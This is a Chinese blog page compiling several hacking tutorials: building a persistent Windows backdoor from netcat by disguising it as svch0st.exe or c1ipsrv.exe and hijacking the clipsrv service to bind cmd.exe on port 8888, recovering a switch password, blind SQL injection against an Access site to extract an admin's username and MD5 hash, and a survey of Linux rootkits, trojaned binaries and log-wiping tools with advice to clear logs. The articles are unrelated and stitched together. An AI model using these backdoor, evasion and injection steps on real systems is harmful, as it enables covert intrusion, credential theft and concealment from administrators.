黑客实战之攻击篇——用NC打造成自己的简单后门
大家都知道nc是一個強大并且靈活的黑客工具,用他可以做很多事情,譬如做為telnet的客戶端口,譬如入侵的時候反彈回來shell,譬如掃描……但是你有沒有想過將他打造成一個服務級的后門呢?現在好多跟我一樣的菜鳥還不懂得編程,別人寫的流行點的后門又經常被殺,那就跟我一起來自己手工制作一個后門吧,不需要任何編程知識菜鳥級的東東哦。
首先請準備好不被殺的nc.exe(隨便加個殼就可以了的),還有sc.exe(這個是操作服務的一個小工具,被人稱為操作服務的軍刀),這些就可以打造我們自己的后門了,后門的要求我想不需要很強的操作功能,只需要當我們連接的時候獲得一個system權限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反彈的后門,也可以做到,自己注冊個域名就可以用nc反彈了,因為比較復雜這里就不說了。我們知道nc就是實現我們的后門功能的最經典的工具,我們來看看nc的幫助,命令行下輸入nc -h就可以看到,我們主要用到的幾個參數如下:
-e 綁定一個程序并且連接時執行
-l 非法詞模式
-p 指定nc要運行的本地端口
-L 增強了的非法詞模式,當連接斷開時再次非法詞
至于其他的用法相信各位已經很了解了的,我們以前經常用到的是
nc -l -e cmd.exe -p 8888 非法詞8888端口,當有連接時重定向到cmd.exe實現綁定一個shell
這樣的形式用serveru等溢出程序執行后來綁定一個可以得到shell的端口8888,我們telnet或者nc連接上來的時候就可以直接獲得一個shell。但是這樣連接斷開之后非法詞的端口就會關閉,是一次性的,不能再次獲得shell,這樣當然不適合于做后門了。后來發現nc的這個參數L可以一直保持非法詞的狀態,可以反復連接。用
nc -L -e cmd.exe -p 8888 也是綁定的,不過加強了的
這樣的命令就已經達到我們的目的了,但是我們往往是在溢出的shell里工作,留后門是為了以后的進入,那我們如何保證nc再機器重起之后還可以工作從而實現我們的后門的目的呢?你可以把他放到注冊表的Run等啟動項下面,但是感覺那樣不是太好,有些地方已經被殺毒軟件盯上了,把我的后門放到那里實在不是很放心,后來想到干脆作成服務吧!隨著系統啟動而啟動,呵呵。那就看看如何打造服務吧!
首先我們將nc.exe放到%systemroot%system32下面,起名叫svch0st.exe或者放到%systemroot%system下面更名叫svchost.exe,這樣的目的是為了在任務管理器里看不出異樣。然后用sc替換系統的服務,不用改別的,只要修改他的執行路徑就可以了,我們就改那個clipsrv.exe服務吧!命令如下:
sc config clipsrv start= auto 將clipsrv.exe服務設置為自動
sc config clipsrv binpath= "c:winntsystem32svch0st.exe -L -e cmd.exe -p 8888" 設置clipsrv.exe服務的啟動路徑為我們的nc
sc start clipsrv 啟動clipsrv.exe服務
嘿嘿,但是看看結果吧!看看服務里的顯示信息,如圖一,很顯眼哦!不管,先啟動服務然后
netstat -an find "8888" etstat -an的結果中查找8888看我們的程序是否運行
的確是已經被打開了,但是當顯示服務沒有響應的時候nc的進程被結束了,這是Windows服務管理機制吧。不是很成功呵,我們繼續改造!不懂編程的我們這個時候就會很郁悶,因為不能讓服務停止響應的時候我開始想用bat2exe.exe,但是啟動服務的時候總是出現拒絕訪問的錯誤,大概是bat2exe出來的exe文件不被系統服務格式所支持,只能想其他的辦法了,于是我想到了用Winrar.exe來做我們自己的exe文件,這總該被服務的可執行文件支持吧!至于如何實現編程里的子進程在父進程終止后仍然可以在內存中運行,我用的方法是寫個run.vbs然后用cscript.exe來調用,至于如何調用就可以在自解壓格式里設置解壓后運行cscript.exe run.vbs,如圖三。其中Run.vbs里的內容如下:
dim sh 定義變量
set sh=createobject("wscript.shell") 取得WSH對象
sh.run "nc -L -e cmd.exe -p 8888",0 執行我們的程序并隱藏錯誤
而自解壓的路徑寫上%systemroot%system32,這樣我們自解壓服務程序就做好了,保存為c1ipsrv.exe(不好意思,還是用那個1和l的把戲),放到c:winntsystem32目錄下面?,F在修改我們的clipsrv剪切薄服務的具體路徑為c:winntsystem32c1ipsrv.exe,命令如下:
sc stop clipsrv 將clipsrv.exe服務設置為自動
sc config clipsrv start= auto
sc config clipsrv binpath= "c:winntsystem32c1ipsrv.exe" 設置clipsrv.exe服務的啟動路徑為我們的nc
sc start clipsrv 啟動clipsrv.exe服務
現在一切OK了,這樣以來我們的程序的參數細節還會被屏蔽,比開始的參數直接放到執行文件路徑里好多了。我們來實驗下。先net start clipsrv,然后netstat -an find "8888"看看開沒開8888端口,最后用nc 127.0.0.1 8888連接上去得到shell了呵!如圖四。好了,快去體驗自己動手的快樂哦,你還可以作其他的事情,只要你的服務的程序做的夠好,甚至可以用反向回來的nc,具體我就不寫了。
本文是我看了韓的一個動畫之后想到的,后來自己想到完全可以將nc改成后門的,不過也還是有很大的缺陷,畢竟不是編程,因為不能返回信息給服務控制器,會在日志里留一些錯誤,不過,有多少人去在意這些錯誤呢?還有就是沒有身份驗證功能,不過端口可以自定義不知道算不算一個身份驗證。
?
一,網絡環境:
公司使用實達的3500系列(具體型號是3548)交換機,在交換機上面連接了一臺華為2621路由器,通過電信的光纖上網。實際情況這臺實達3548交換機被以前的網絡管理員設置了密碼而沒有告訴我。所以破解他的密碼成為本篇文章的核心。
二,準備工作:
由于整個工作需要斷網,畢竟涉及到重新啟動交換機等操作,所以選擇時間在工作下班后的晚上23點。另外由于破解密碼這類操作都必須使用CONSOLE控制臺線來設置,所以地點只能是中心機房。筆者找到了實達3548設備的所有相關工具,包括安裝說明與CONSOLE控制線等。
三,實戰破解密碼:
根據筆者以往經驗實達所有設備的使用和操作命令語句都應該和CISCO設備類似,所以原本以為按照破解CISCO設備密碼的步驟就可以輕松搞定。誰知道一上手才發現原來差別還真不小。一般來說CISCO設備都是通過修改配置寄存器configuration register來實現破解密碼的操作。在實達交換機中根本不存在配置寄存器configuration register這個概念。通過查詢資料才發現,原來實達交換機是使用修改超級終端配置的方法來破解密碼的。
第一步:將實達交換機的配套CONSOLE控制線連接到設備的CONSOLE管理接口。
第二步:將CONSOLE控制線的另一斷連接到網絡管理員調試使用的筆記本的COM串口上。
第三步:進入筆記本系統桌面,點“開始->所有程序->附件->通訊->超級終端”。
第四步:啟動系統的超級終端后我們隨便為新建立的連接起一個名字。
第五步:在連接設置處的“連接時使用”地方通過下拉菜單選擇剛剛使用CONSOLE控制線連接的端口。例如COM1口。
第六步:在COM1屬性設置窗口中我們對連接的參數進行配置。一般來說我們正常連接交換機應該采用每秒位數9600,數據位為8,奇偶校驗是無,停止位是1,數據流控制是無。不過要是想破解實達交換機的密碼的話就需要修改這些數值。將PC超級終端串口速率設成57600,其他和上面寫的相同即可。
第七步:使用終端連接到交換機后,再打開交換機的電源,在交換機啟動后進行自檢時立即按下“ESC”鍵多次進入交換機的監控模式。終端界面將出現多個選項,包括一些基本的初始化設置。
小提示:
剛開始筆者按照第七步的步驟嘗試并沒有成功,超級終端界面總是顯示很多個“。。。。。”。后來才發現原來交換機必須在超級終端連接后才能加電啟動,如果先開交換機再用超級終端連接的話則無法進入監控模式。
第八步:根據菜單提示,將配置文件config.text上傳(Upload)至網絡管理員使用的筆記本,然后刪除交換機上的配置文件Config.text。
第九步:在筆記本上打開剛下載的保存在系統硬盤中的config.text文件,將以下語句
enable secret level 1 5 !E,1u_;C9&-8U0H
enable secret level 15 5 *r_1u_;C3vW8U0H
刪除然后保存退出。
第十步:根據交換機監控模式的提示,將筆記本上修改的config.text再下載(Download)到交換機中。
第十一步:重新將筆記本的超級終端串口速率設成9600,其他保持默認參數。交換機加電重啟后,進入交換機配置界面,你就會發現我們可以重新配置交換機的密碼了,包括遠程TELNET的管理密碼以及本機的特權密碼。此后交換機的密碼也將變成你剛剛配置的,而其它配置則保留不變,并不會影響任何使用。
小提示:
在實際使用中筆者發現使用實達3550交換機的監控模式中的上傳和下載文件功能并不穩定,經常出現傳輸失敗的提示。所以筆者索性直接在監控模式中將config.text刪除,然后重新啟動交換機重新配置所有交換機信息。這種情況適用于交換機自身配置不多也不復雜,另外網絡管理員也需要對設置語句比較熟悉。
總結:
經過本次實戰破解交換機密碼的操作,筆者再次明白了對于路由交換設備來說,不同廠商操作程序和步驟絕對是不同的,即使命令語句類似但是在其他高級操作上還是大相徑庭的。因此本篇文章介紹的所有內容僅僅是針對實達路由器與交換機,如果你遇到的是其他設備則需要采取其他的方法來解決。 SQL注入漏洞初級應用之Access篇 如果你已經掌握了SQL注入漏洞的一些相關的基礎知識,那是不是覺得看了理論有一種想急于知道如何實際動手操作的沖動,好吧,Let’s go,這篇文章我們就來實戰SQL注入,不過針對網站的數據庫是ACCESS的,畢竟在國內都是用虛擬機,一般只有FTP上傳權限,所以還是很有市場的。
首先要注意的是,如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
1.入侵測試目標:
前不久我們學校的一個同學做了個網站,做的還挺漂亮的,叫我去看下,我順便對它進行了一次安全檢測。文章發表前已經征得該同學的同意,請不要效仿。下面的真實網址已經被我屏蔽。
測試網站:http://www.xxx.com/index.asp
2.尋找可能的SQL注入點
我們知道,一般的文章管理系統,下載系統,論壇,留言本,相冊等都會有個show.asp?id= list.asp?id= news.asp?id= 什么的,其實一看就知道是調用SQL語句查詢數據庫并顯示出來。我們不難發現這個站的新聞系統就是show.asp?id=的形式,隨便點一個鏈接得到地址如下:
http://www.xxx.com/show.asp?id=474
從這個地址就知道是通過show.asp執行SQL語句訪問數據庫,可想而知,SQL語句原貌大致如下:
select * from 表名 where 字段=xx,如果這個show.asp對后面的id整型參數過濾好的話,就可能存在SQL注入漏洞。
3.判斷SQL注入是否存在
通過上面的分析知道,要判斷有沒有SQL注入漏洞,就得看show.asp有沒對參數過濾好,所以可以用以下步驟測試SQL注入是否存在。
a.最簡單的判斷方法
在要檢測的網址后面加一個單引號:http://www.xxx.com /show.asp?id=474’
此時show.asp中的SQL語句變成了:select * from 表名 where 字段=xx’,如果程序沒有過濾好“’”的話,就會提示 show.asp運行異常;但這樣的方法雖然很簡單,但并不是最好的,因為:
第一:不一定每臺服務器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器同樣會報錯,具體提示信息為處理 URL 時服務器上出錯。請和系統管理員聯絡。
第二:由于以前存在過的1’ or ‘1’=’1漏洞,所以目前大多數程序員已經將“’“ 過濾掉,所以用" '"測試不到注入點,所以一般使用經典的1=1和1=2測試方法,如下:
http://www.xxx.com /show.asp?id=474 and 1=1, show.asp運行正常,而且與http://www.xxx.com /show.asp?id=474運行結果相同,如圖1:
[attachment=1259]
http://ww.xxx.com /show.asp?id=474 and 1=2, show.asp運行異常,(這就是經典的 1=1 1=2 判斷方法)如圖2:
[attachment=1260]
這里很明顯當加 and 1=1 的時候返回完全正常的頁面,加 and 1=2 顯示:暫時還沒有文章!
到這里基本上可以斷定他存在SQL注入,至于能不能注出賬號密碼來,還需要更進一步的注入測試,這里只能得到SQL注入點: http://www.xxx.com/show.asp?id=474
4.判斷表是否存在
國內的一般程序員在設計數據庫的時候都會用一些特定的做為表名,字段名什么的。比如說后臺管理員一般放在表admin里面,而注冊的用戶放在表users里,當然,只是一般,依照各程序的不同而不同。
這個站是我同學自己寫的,我還是先判斷管理員表admin是否存在,在后面加上語句:and exists (select * from admin)變成http://www.xxx.com/show.asp?id=474 and exists (select * from admin)提交訪問后返回的頁面如圖3:
[attachment=1261]
這就說明我猜的admin表名不存在,繼續猜另外的名字,這里可以參考國內常見的程序的表名,比如:admin user vote manage users 會員 用戶 管理員 admin_admin userinfo bbs news system等,這個站我最后猜到的是:users,語句:and exists (select * from users)。
5.進一步判斷表里的字段是否存在
判斷字段id 是否存在,這個一般都有,自動編號。如果存在了順便猜一下管理員的id值。
判斷存在語句:and exists(select id from users)
判斷編號語句:and exists(select id from users where id=1)
一般管理員賬號密碼放在第一位,也就是id=1,如果不是就猜下去,猜id=2 猜id=3等啦。
由于這個站是自己寫的代碼,所以會有點不同,當判斷是否不過你可以猜到他的對應的可能是userid,因為他表名取做user呀,把上面的id改為userid就返回了正常的頁面,如圖4:
[attachment=1262]
至于這個userid值為多少,同樣猜,and exists(select userid where userid=1)改變1這個數字,一直猜到頁面顯示正常為止。這里我猜到的是userid=11,如圖5:
[attachment=1263]
最后猜出這個繼續猜出其它的字段,用戶名字段最后為username,密碼字段為userpwd,用到的語句分別為:and exists (select username from users)和and exists (select userpwd from users),這里就不抓圖了。
6.再進一步判斷賬號和密碼的長度
這里我說一下常用的方法,判斷的時候大于小于一起用嘛,學過數據結構的人都知道有二分法,我這里也引用一下,比如說你判斷 >4 而又判斷<12 那我接下來就取中間的看是大于8還是小于8,如果是大于8則說明在8到12之間,如果是小于8說明在4到8之間,再接著用二分法判斷下去。。。。。。當然由于賬號密碼一般人不會太長,所以在這里二分法的優勢體現的不夠明顯,不過到下面猜賬號密碼字符的時候就能明顯感受到了。
首先判斷賬號username的字符長度:and exists (select userid from users where len(username)<10 and userid=11),返回正常說明長度小于10,and exists (select userid from users where len(username)>5 and userid=11),返回不正常說明長度小于5,最后猜到的是
and exists (select userid from users where len(username)=4 and userid=11),說明賬號的長度為4,也太短了吧,呵呵,別高興的太早,如圖6:
[attachment=1264]
再接下來猜密碼長度,與猜解賬號長度類似,最后猜到密碼長度為16位,語句:and exists (select userid from users where len(userpwd)=16 and userid=11),不過我要提醒的是,一般遇到16位或者32位的密碼,我都會想到MD5加密,當然可以暴力破解。
到此,我們得到的信息如下:
賬號username長度:4
密碼userpwd長度:16
7.猜解賬號密碼字符
在這里的猜解要用到asc(mid())這個函數。前面基礎篇我們已經講過這些函數了,我這里稍提一下。asc()是把字符轉換為其對應的ASC碼,mid()則是定位字符串里的字符。
格式:mid(字符串,開始位置,子串長度)
比如說mid(name,1,1)即取name字符串里第一個字符。如果這里的name等于xysky 則mid(name,1,1)=x而mid(name,1,2)則取y
這兩個函數結合asc(mid())則是先定位字符串里的字符再取其ASC碼,比如asc(mid(username,2,1))則是判斷username字符串里的第二位的ASC碼,在SQL注入里常用它,有漢字也不用怕,不過遇上了漢字確實有點郁悶,中文字符的asc值小于0的。在后面加上如下的語句:
and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,說明賬號果然是漢字,下面的事就不那么容易了。下面我們用到二分法的思想開始猜解第一位字符:
and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常
and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常
以上說明賬號的第一個字符的ASCII碼在-19000和-20000之間,再用二分法猜解下去,最后的第一個為:-19765
and 11=(select userid from users where asc(mid(username,1,1))= -19765)
ASCII碼為-19765對應的字符就是:菜
下面接著猜第二個字符,最后語法為:and 11=(select userid from users where asc(mid(username,2,1))=-15119),這里抓個圖,如圖7:
[attachment=1265]
對應字符為:鳥
到這里我想其它不用猜了,因為這個網站上的信息已經告訴我們了:
作者:菜鳥老師 票數:0等級:點擊:308 呵呵,如果沒錯的話就是它了。
接著猜密碼,依然二分法,就不抓圖了:
and 11=(select userid from users where asc(mid(userpwd,1,1))<50)
and 11=(select userid from users where asc(mid(userpwd,1,1))>40)
最后得到的為:48 對應的字符就是0
依此下去,最后得到加密后的MD5值為:00d60a849c6c381e ,由于MD5目前沒有好的破解方法,只能暴力破解,我們就此打此。
8.后臺的猜解
經過前面辛苦的猜解,我們已經得到這個網站的賬號密碼了,當然這里已經是MD5加密了,我們只是說一下常規的SQL注入攻擊中的一步,往往也是最為關鍵的一步:尋找網站管理后臺。像這樣動態生成頁面的網站,一般都會有個管理后臺的,添加文章編輯文章修改文章刪除文章什么的,而一般的程序員在命名后臺的時候往往是:admin_index.asp admin_login.asp admin.asp admin/admin_index.asp admin/admin_login.asp,當然還有退出后臺的文件:logout.asp admin_logout.asp admin/admin_logout.asp等。一個一個的訪問,結果嘛,我只能說靠運氣加上你的經驗了。以這個站為例,前面那些登錄的我一個也沒猜到,因為我猜到有admin這個目錄,我就一直以為登錄的頁面也在admin目錄,猜了好久,最后無意訪問admin/logout.asp,頁面居然自動轉到后臺登錄頁面了,居然是上一級目錄的login.asp,我狂汗,如圖8:
[attachment=1266]
有了后臺,有了賬號密碼(當然這個站是MD5加密的密碼,我也懶得破解),你就可以進后臺了,至于進后臺你能做什么,就看后臺的功能與你的技術了,你想做什么,就依靠你自己了,本文只演示SQL注入漏洞最基本的注入,想深入研究的朋友一定要好好掌握哦! Linux下的后門和日志工具 攻入Linux系統后,很多入侵者往往就開始得意忘形了。這其中還有一個原因,就是技術性也要求更高了。下面,我們來看看一些常用的經典工具。
1、從這里延伸:后門和連接工具
(1)Httptunnel
Tunnel的意思是隧道,通常HTTPTunnel被稱之為HTTP暗道,它的原理就是將數據偽裝成HTTP的數據形式來穿過防火墻,實際上,它是在HTTP請求中創建了一個雙向的虛擬數據連接來穿透防火墻。說得簡單點,就是說在防火墻兩邊都設立一個轉換程序,將原來需要發送或接受的數據包封裝成HTTP請求的格式騙過防火墻,所以它不需要別的代理服務器而直接穿透防火墻。
HTTPTunnel包括兩個程序:htc和hts,其中htc是客戶端,而hts是服務器端,我們現在來看看我是如何用它們的。比如開了FTP的機器的IP是192.168.10.231,本地機器IP是192.168.10.226,因為防火墻的原因,本地機器無法連接到FTP上。怎么辦?現在就可以考慮使用HTTPTunnel了。過程如下:
第一步:在本地機器上啟動HTTPTunnel客戶端。用Netstat看一下本機現在開放的端口,會發現8888端口已在偵聽。
第二步:在對方機器上啟動HTTPTunnel的服務器端,并執行命令“hts -f localhost:21 80”,這個命令的意思是說,把本機的21端口發出去的數據全部通過80端口中轉一下,并且開放80端口作為偵聽端口,再用Neststat看一下他的機器,就會發現80端口現在也在偵聽狀態。
第三步:在本地機器上用FTP連接本機的8888端口,會發現已經連上對方的機器了。那么,為什么人家看到的是127.0.0.1,而不是192.168.10.231呢?因為我們現在是連接本機的8888端口,防火墻肯定不會有反應,如果沒往外發包,局域網的防火墻肯定就不知道了?,F在連接上本機的8888端口以后,FTP的數據包不管是控制信息還是數據信息,都被htc偽裝成HTTP數據包然后發過去,在防火墻看來,這都是正常數據,相當于欺騙了防火墻。
需要說明的是,這一招的使用需要其他機器的配合,就是說要在他的機器上啟動一個hts,把他所提供的服務,如FTP等重定向到防火墻所允許的80端口上,這樣才可以成功繞過防火墻!肯定有人會問,如果對方的機器上本身就有WWW服務,也就是說他的80端口在偵聽,這么做會不會沖突?HTTPTunnel的優點就在于,即使他的機器以前80端口開著,現在也不會出現什么問題,重定向的隧道服務將暢通無阻!
(2)Tcp_wrapper
Tcp_wrapper是Wietse Venema開發的一個免費軟件。Tcp_wrapper的誕生有個小小的故事,大約1990年,作者所在大學的服務器屢屢受到一個外來黑客侵入,因為受害主機的硬盤數據屢次被rm -rf/命令整個抹掉,所以找尋線索極為困難,直到有一天晚上作者在工作的過程中無意中發現這個黑客在不斷的finger 受害主機、偷窺受害者的工作。于是,一個想法誕生了:設計一個軟件,使它可以截獲發起finger請求的IP,用戶名等資料。Venema很快投入了工作,而Tcp_wrapper也由此誕生!此后,Tcp_wrapper隨著廣泛的應用逐漸成為一種標準的安全工具。通過它,管理員實現了對inetd提供的各種服務進行監控和過濾。
Tcp_wrapper編譯安裝成功后,會生成一個tcpd程序,它可以在inetd.conf這個控制文件中取代in.telnetd的位置,這樣,每當有telnet的連接請求時,tcpd即會截獲請求,先讀取管理員所設置的訪問控制文件,合乎要求,則會把這次連接原封不動的轉給真正的in.telnetd程序,由in.telnetd完成后續工作。如果這次連接發起的ip不符合訪問控制文件中的設置,則會中斷連接請求,拒絕提供telnet服務。Tcp_wrapper訪問控制的實現是依靠兩個文件:hosts.allow,hosts.deny來實現的。如果我們編輯/etc/syslog.conf文件時,加入了日志紀錄功能,即:
#tcp wrapper log
local3.info /var/log/tcplog
編輯結束后,保存文件,在/var/log下會生成tcplog文件,注意這個文件的讀寫屬性, 應該只對root有讀寫權限。然后ps -ef grep syslogd,找出syslogd的進程號,kill -HUP 重啟syslogd進程使改動生效。 在這里,我們可以預先看一看以后生成的tcplog文件內容,如下:
[tr=#ffffff][td]Jul 31 22:00:52 www.test.org in.telnetd[4365]: connect from 10.68.32.1
Jul 31 22:02:10 www.test.org in.telnetd[4389]: connect from 10.68.32.5
Jul 31 22:04:58 www.test.org in.ftpd[4429]: connect from 10.68.32.3
Aug 2 02:11:07 www.test.org in.rshd[13660]: connect from 10.68.32.5
Aug 2 02:11:07 www.test.org in.rlogind[13659]: connect from 10.68.32.1[/td][/tr]
從上面我們可以看到,在安裝了Tcp_wrapper的主機上,系統的每一次連接,Tcp_wrapper都做了紀錄,它的內容包括時間、服務、狀態、ip等,對攻擊這有很大的參考價值,不過,一定要記得清除日志了。
(3)rootkit工具:LRK
Rootkit出現于二十世紀90年代初,它是攻擊者用來隱藏自己的蹤跡和保留root訪問權限的工具。通常,攻擊者通過遠程攻擊或者密碼猜測獲得系統的訪問權限。接著,攻擊者會在侵入的主機中安裝rootkit,然后他會通過rootkit的后門檢查系統,看是否有其他的用戶登錄,如果只有自己,攻擊者就開始著手清理日志中的有關信息。通過rootkit的嗅探器獲得其它系統的用戶和密碼之后,攻擊者就會利用這些信息侵入其它的系統。
如果攻擊者能夠正確地安裝rootkit并合理地清理了日志文件,系統管理員就會很難察覺系統已經被侵入,直到某一天其它系統的管理員和他聯系或者嗅探器的日志把磁盤全部填滿,他才會察覺已經大禍臨頭了。不過,在系統恢復和清理過程中,大多數常用的命令例如ps、df和ls已經不可信了。許多rootkit中有一個叫做FIX的程序,在安裝rootkit之前,攻擊者可以首先使用這個程序做一個系統二進制代碼的快照,然后再安裝替代程序。FIX能夠根據原來的程序偽造替代程序的三個時間戳(atime、ctime、mtime)、date、permission、所屬用戶和所屬用戶組。如果攻擊者能夠準確地使用這些優秀的應用程序,并且在安裝rootkit時行為謹慎,就會讓系統管理員很難發現。
下面我們介紹一個非常典型的針對Linux系統的LRK版本6。Linux Rootkit 6是一個開放源碼的rootkit,經過多年的發展,Linux Rootkit的功能越來越完善,具有的特征也越來越多。下面我們簡單地介紹一下Linux Rootkit包含的各種工具。
首先是隱藏入侵者行蹤的程序。為了隱藏入侵者的行蹤,Linux Rootkit IV的作者可謂煞費心機,編寫了許多系統命令的替代程序,使用這些程序代替原由的系統命令,來隱藏入侵者的行蹤。這些程序包括:
[tr=#ffffff][td]ls、find、du[/td][td]這些程序會阻止顯示入侵者的文件以及計算入侵者文件占用的空間。在編譯之前,入侵者可以通過ROOTKIT_FILES_FILE設置自己的文件所處的位置,默認是/dev/ptyr。注意如果在編譯時使用了SHOWFLAG選項,就可以使用ls -/命令列出所有的文件。這幾個程序還能夠自動隱藏所有名字為:ptyr、hack.dir和W4r3z的文件。[/td][/tr][tr=#ffffff][td]ps、top、pidof[/td][td]這幾個程序用來隱藏所有和入侵者相關的進程。[/td][/tr][tr=#ffffff][td]netstat[/td][td]隱藏出/入指定IP地址或者端口的網絡數據流量程。[/td][/tr][tr=#ffffff][td]killall[/td][td]不會殺死被入侵者隱藏的進程。[/td][/tr][tr=#ffffff][td]ifconfig[/td][td]如果入侵者啟動了嗅探器,這個程序就阻止PROMISC標記的顯示,使系統管理員難以發現網絡接口已經處于混雜模式下。[/td][/tr][tr=#ffffff][td]crontab[/td][td]隱藏有關攻擊者的crontab條目。[/td][/tr][tr=#ffffff][td]tcpd[/td][td]阻止向日志中記錄某些連接。[/td][/tr][tr=#ffffff][td]syslogd [/td][td]過濾掉日志中的某些連接信息。[/td][/tr]
其次是后門程序。木馬程序可以為本地用戶提供后門;木馬網絡監控程序則可以為遠程用戶提供inetd、rsh、ssh等后門服務,具體因版本而異。隨著版本的升級,Linux Rootkit IV的功能也越來越強大,特征也越來越豐富。一般包括如下網絡服務程序:
[tr=#ffffff][td]chfn[/td][td]提升本地普通用戶權限的程序。運行chfn,在它提示輸入新的用戶名時,如果用戶輸入rookit密碼,他的權限就被提升為root。[/td][/tr][tr=#ffffff][td]chsh[/td][td]提升本地用戶權限的程序。運行chsh,在它提示輸入新的shell時,如果用戶輸入rootkit密碼,他的權限就被提升為root。[/td][/tr][tr=#ffffff][td]passwd[/td][td]和上面兩個程序的作用相同。在提示你輸入新密碼時,如果輸入rookit密碼,權限就可以變成root。[/td][/tr][tr=#ffffff][td]login [/td][td]允許使用任何帳戶通過rootkit密碼登錄。如果使用root帳戶登錄被拒絕,可以嘗試一下rewt。當使用后門時,這個程序還能夠禁止記錄命令的歷史記錄。[/td][/tr][tr=#ffffff][td]inetd[/td][td]特洛伊inetd程序,為攻擊者提供遠程訪問服務。[/td][/tr][tr=#ffffff][td]rshd[/td][td]為攻擊者提供遠程shell服務。攻擊者使用rsh -l rootkitpassword host command命令就可以啟動一個遠程root shell。[/td][/tr][tr=#ffffff][td]sshd[/td][td]為攻擊者提供ssh服務的后門程序。[/td][/tr]
再就是工具程序。所有不屬于以上類型的程序都可以歸如這個類型,它們實現一些諸如:日志清理、報文嗅探以及遠程shell的端口綁定等功能,包括:
[tr=#ffffff][td]fix[/td][td]文件屬性偽造程序。[/td][/tr][tr=#ffffff][td]linsniffer[/td][td]報文嗅探器程序。[/td][/tr][tr=#ffffff][td]sniffchk[/td][td]一個簡單的bash shell腳本,檢查系統中是否正有一個嗅探器在運行。[/td][/tr][tr=#ffffff][td]login [/td][td]允許使用任何帳戶通過rootkit密碼登錄。如果使用root帳戶登錄被拒絕,可以嘗試一下rewt。當使用后門時,這個程序還能夠禁止記錄命令的歷史記錄。[/td][/tr][tr=#ffffff][td]z2 [/td][td]utmp/wtmp/lastlog日志清理工具??梢詣h除utmp/wtmp/lastlog日志文件中有關某個用戶名的所有條目。不過,如果用于Linux系統需要手工修改其源代碼,設置日志文件的位置。[/td][/tr][tr=#ffffff][td]bindshell[/td][td]在某個端口上綁定shell服務,默認端口是12497。為遠程攻擊者提供shell服務。[/td][/tr]
(4)netcat
這是一個簡單而有用的工具,能夠通過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的后門工具,能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能。 2、查找Linux下的蛛絲馬跡:日志工具
對于高明的攻擊者來說,進入系統后,還應了解自己的“蛛絲馬跡”并清除這些痕跡,自然就要了解一些日志工具了。
(1)logcheck
logchek 可以自動地檢查日志文件,定期檢查日志文件以發現違反安全規則以及異常的活動。它先把正常的日志信息剔除掉,把一些有問題的日志保留下來,然后把這些信息 email 給系統管理員。logcheck 用 logtail 程序記住上次已經讀過的日志文件的位置,然后從這個位置開始處理新的日志信息。logcheck 主要由下面幾個主要的文件:
[tr=#ffffff][td=1,1,159]logcheck.sh[/td][td=1,1,322]可執行的腳本文件,記錄logcheck檢查那些日志文件等,我們可以把它加入crontab中定時運行。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.hacking[/td][td=1,1,322]是logcheck 檢查的模式文件。和下面的文件一起,按從上到下的順序執行。這個文件表明了入侵活動的模式。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.violations[/td][td=1,1,322]這個文件表示有問題,違背常理的活動的模式。優先級小于上面的那個模式文件。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.violations
.ignore[/td][td=1,1,322]這個文件和上面的logcheck.violations的優先是相對的,是我們所不關心的問題的模式文件。[/td][/tr][tr=#ffffff][td=1,1,159]logcheck.ignore[/td][td=1,1,322]這是檢查的最后一個模式文件。如果沒有和前三個模式文件匹配,也沒有匹配這個模式文件的話,則輸出到報告中。[/td][/tr][tr=#ffffff][td=1,1,159]Logtail[/td][td=1,1,322]記錄日志文件信息。[/td][/tr]Logcheck首次運行時讀入相關的日志文件的所有內容,Logtail會在日志文件的目錄下為每個關心的日志文件建立一個logfile.offset 的偏移量文件,以便于下次檢查時從這個偏移量開始檢查。Logcheck執行時,將未被忽略的內容通過郵件的形式發送給 logcheck.sh 中 系統管理員指定的用戶。
(2)logrotate
一般Linux 發行版中都自帶這個工具。它可以自動使日志循環,刪除保存最久的日志,它的配置文件是 /etc/logrotate.conf,我們可以在這個文件中設置日志的循環周期、日志的備份數目以及如何備份日志等等。在/etc/logrotate.d目錄下,包括一些工具的日志循環設置文件,如syslog等,在這些文件中指定了如何根據/etc/logrotate.conf做日志循環,也可以在這里面添加其他的文件以循環其他服務的日志。
(3)swatch
swatch 是一個實時的日志監控工具,我們可以設置感興趣的事件。Swatch 有兩種運行方式:一種可以在檢查日志完畢退出,另一種可以連續監視日志中的新信息。Swatch提供了許多通知方式,包括email、振鈴、終端輸出、多種顏色等等。安裝前,必須確保系統支持perl。swatch 軟件的重點是配置文件swatchmessage,這個文本文件告訴 swatch 需要監視什么日志,需要尋找什么觸發器,和當觸發時所要執行的動作。當swatch發現與swatchmessage中定義的觸發器正則表達式相符時,它將執行在 swatchrc中定義的通知程序。
當然,上面所介紹的軟件只是Linux大海中的幾只美麗的貝殼,隨著越來越多的用戶加入到Linux大軍中,我們相信,優秀的Hack也將越來越多,這反過來也將促進Linux操作系統逐步走向成熟,我們拭目以待
總結
以上是生活随笔為你收集整理的黑客实战之攻击篇——用NC打造成自己的简单后门的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ubuntu16.04:制作gif图片
- 下一篇: html静态页面作业 出行网站设计——洛